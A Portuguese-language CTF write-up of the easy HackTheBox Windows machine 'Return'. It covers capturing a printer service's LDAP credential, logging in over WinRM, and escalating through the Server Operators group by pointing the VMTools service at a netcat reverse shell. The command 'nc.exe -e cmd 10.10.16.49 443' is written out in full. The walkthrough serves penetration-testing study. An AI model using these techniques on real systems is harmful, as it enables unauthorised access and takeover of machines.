Return

#easy #HackTheBox #Windows #eJPT #OSCP

Máquina Windows fácil onde abusamos a fraca autenticação de um serviço de impressora conseguindo a credencial de um usuário com permissão para obter acesso ao alvo usando o serviço WinRM. Por fim, exploramos o grupo Server Operators e conseguimos executar um payload malicioso, obtendo uma reverse shell como nt authority/system.

Reconhecimento de Rede

Verificando a conectividade via Ping

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.

Varredura de Portas e Serviços

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo DNS, SMB, Microsoft IIS, Kerberos, LDAP e WinRM, atestando que de fato trata-se de um host Windows.

Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.

HTTP (80) Enumeration

Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. A ferramenta também revelou o título da página "HTB Printer Admin Panel" e o cabeçalho do servidor "Microsoft-IIS/10.0".

Após acessar o painel de administração de impressora, na guia Settings havia uma autenticação no servidor printer.return.local, porta 389 (ldap), com o nome de usuário svc-printer e sem a exibição da senha.

Printer Abuse

Pensando em formas de abusar dessa autenticação, podemos alterar o "Server Address" para o IP da nossa máquina atacante e tentar receber essa autenticação.

Então, basta nos colocar em escuta com netcat na porta 389 para recebermos esta autenticação e clicar em "Update" no servidor web. A autenticação é fraca e, portanto, conseguimos capturar uma credencial.

Podemos usar a ferramenta crackmapexec para validar a credencial. Como nos é retornado [+], significa que a credencial é válida.

Como a porta 5985 (WinRM) do alvo também está aberta, podemos ver se com essas credenciais podemos acessar esse serviço. Nos é retornado (Pwn3d!), o que significa que este usuário faz parte do grupo Remote Management Users, podendo acessar o host remotamente utilizando o serviço WinRM.

Gaining Access

Assim, podemos usar a ferramenta evil-winrm para obter esse acesso remoto ao alvo.

Uma vez logado, naveguei até o Desktop do usuário svc-printer e encontrei a flag user.txt.

Privilege Escalation

A próxima etapa foi procurar maneiras de escalar nossos privilégios para Administrator. Com whoami /groups eu identifiquei que o usuário svc-printer fazia parte do grupo Server Operators. Este grupo tem permissões para iniciar e parar serviços no sistema. Portanto, eu pude usar essa informação para escalar meus privilégios.

Escalation via Server Operators Group

Para iniciar esse processo, precisamos transferir um executável do netcat para o alvo. Ele servirá para nos enviar uma reverse shell como Administrator quando abusarmos do grupo Server Operators.

Após isso, podemos listar os serviços presentes no alvo.

Usando o executável sc.exe, podemos configurar um serviço para atribuir a ele um comando que nós definirmos. Neste caso será um comando malicioso para enviar uma reverse shell para nossa máquina atacante usando o netcat que transferimos para o alvo.

Depois de testar os serviços um por um, vemos que o serviço VMTools pode ser configurado, assim, podemos definir o comando malicioso nele.

Depois disso, temos que reiniciar este serviço para que a configuração seja definida. Primeiro, paramos ele com o parâmetro stop.

Agora podemos iniciá-lo novamente, isso fará com que ele execute o comando malicioso que configuramos. Antes disso, temos que nos colocar em escuta na máquina de atacante com netcat, para depois iniciar o serviço VMTools do alvo com o parâmetro start.

Dessa forma, uma vez reiniciado, o serviço VMTools executará o comando C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443 e nos enviará uma reverse shell privilegiada.

Então basta ler a flag root.txt no Desktop do Administrator para concluir o objetivo do CTF.

PWNED

Atualizado